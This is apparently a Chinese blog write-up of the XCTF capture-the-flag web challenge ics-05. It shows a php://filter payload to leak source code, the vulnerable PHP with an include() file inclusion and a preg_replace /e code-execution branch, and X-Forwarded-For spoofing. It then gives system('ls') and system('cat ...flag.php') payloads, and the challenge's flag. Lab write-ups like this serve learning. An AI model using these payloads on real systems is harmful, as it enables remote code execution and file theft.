攻防世界-ics-05-(详细操作)做题笔记

攻防世界-ics-05-(详细操作)做题笔记

如有不对的地方,还请各位大佬指正。

攻防世界-ics-05-(详细操作)做题笔记

 进入以后所有页面全部点击一遍,除了设备维护中心,其他到都是同一个页面

攻防世界-ics-05-(详细操作)做题笔记

打开F12查看云平台设备维护中心,这里引用方式是 a href = "?page=index"

攻防世界-ics-05-(详细操作)做题笔记

可以知道注入方式位?page=xxx,我们尝试内容注入

/index.php?page={{2*3}}

没有反映,换php到伪协议注入方式,不知道伪协议到请查看这里:PHP伪协议详解_Snakin_ya的博客-CSDN博客_php伪协议

/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

 注入后反馈了一段加密代码

攻防世界-ics-05-(详细操作)做题笔记

 看起来很像是base64加密的代码,base64解密以后得到php代码,截取有用的代码如下:

<?php
$page = $_GET[page];
if (isset($page)) {
    if (ctype_alnum($page)) {  #检查$page是否都是字母数字,若都是字母数字折返回ture,反正返回flase
?>
    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />
<?php
}else{
?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php
                if (strpos($page, 'input') > 0) {   #返回input在$page中出现的第一个匹配的位置,若未找到返回flase
                    die();
                }
                if (strpos($page, 'ta:text') > 0) { #返回ta:text在$page中出现的第一个匹配的位置,若未找到返回flase
                    die();
                }
                if (strpos($page, 'text') > 0) {   #返回text在$page中出现的第一个匹配的位置,若未找到返回flase
                    die();
                }
                if ($page === 'index.php') {    #返回index.php在$page中出现的第一个匹配的位置,若未找到返回flase
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {   #重要代码 判断HTTP头的X__FORWARDED_FOR是否等于127.0.0.1
    echo "<br >Welcome My Admin ! <br >";
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}

代码中两个重要函数issetctype_alnum具体含义:

isset()函数用于检测变量是否已设置并且非NULL。

ctype_alnum()函数是PHP中的字符类型(CType)函数,用于检查给定的字符串是否包含字母数字字符

 两个if表明$page不能为空且必须且是否只含有字母与数字

preg_replace($pattern, $replacement, $subject)函数将subject中匹配到的replacement用pattern替换,如果启用/e参数的话,就会将replacement当做php代码执行。

$pattern: 要搜索的模式,可以是字符串或一个字符串数组、正则。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向
引用替换完之后)。
提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

 
在源代码中“//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试,if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1')”。说明我们要给http的头部添加X-forwarded-For=127.0.0.1

 

攻防世界-ics-05-(详细操作)做题笔记

 翻阅了其他大佬的文章的payload的构建原理:CTF-WEB:攻防世界 ics-05(preg_replace() 函数 /e 漏洞) – 走看看

preg_replace() 函数

这段 PHP 代码会获取 3 个变量:pat、rep 和 sub 的值,然后进入一个 if-else 语句。isset() 函数在 PHP 中用来判断变量是否声明,此处如果这 3 个值都有传递就会执行 preg_replace()函数。
preg_replace 函数执行一个正则表达式的搜索和替换,语法如下:mixed preg_replace(  mixed  $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count]])

参数 说明
$pattern 要搜索的模式,可以是字符串或一个字符串数组
$replacement 用于替换的字符串或字符串数组
$subject: 要搜索替换的目标字符串或字符串数组
$limit 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是 -1(无限制)
$count 可选,为替换执行的次数

 $subject如果是一个数组,那么preg_replace()返回一个数组,如果$subject是字符串,那么preg_replace()返回一个字符串,如果匹配被查询到,替换后的subject被返回,其他情况下返回没有改变的subject,若果发生错误,返回null。这个函数有一个"/e"漏洞,修正符会将preg_replace()的replacement的参数当做php代码执行,要将replacement的参数当做代码执行就需要对其参数构建成一个合法的PHP代码字符串,否则php会在报告包含preg_replace()的行中出现语法错误。

对于payload的构造原理:对于sub中参数要有pattern的内容,同事给replacement前面加上"/e"出发漏洞,就可以执行replacement中的php代码,sub和pat满足该函数下的规则就行,rep参数可以设置为 "system('ls')" ,system('ls')作用hi查看目录下的所有文件。所以构建的payload:/index.php?pat=/123/e&rep=system('ls')&sub=123

攻防世界-ics-05-(详细操作)做题笔记

仔细观察该目录,可以看到一个名为s3chahahaDir到目录

payload :/index.php?pat=/123/e&rep=system('ls+s3chahahaDir')&sub=123

攻防世界-ics-05-(详细操作)做题笔记

这是一个名为flag到文件夹,继续修改payload:/index.php?pat=/123/e&rep=system('ls+s3chahahaDirflag')&sub=123

攻防世界-ics-05-(详细操作)做题笔记

 最后的构造到需要查看flag.php,所以应该用cat命令去查看flag.php.

payloady:/index.php?pat=/123/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=123

攻防世界-ics-05-(详细操作)做题笔记

flag = 'cyberpeace{7c03167fb3a768258cd7bf5bbae7fc0f}'; 

如有侵权请联系删除

                       

点击阅读全文

上一篇 2023年 6月 15日 am10:28
下一篇 2023年 6月 15日 am10:29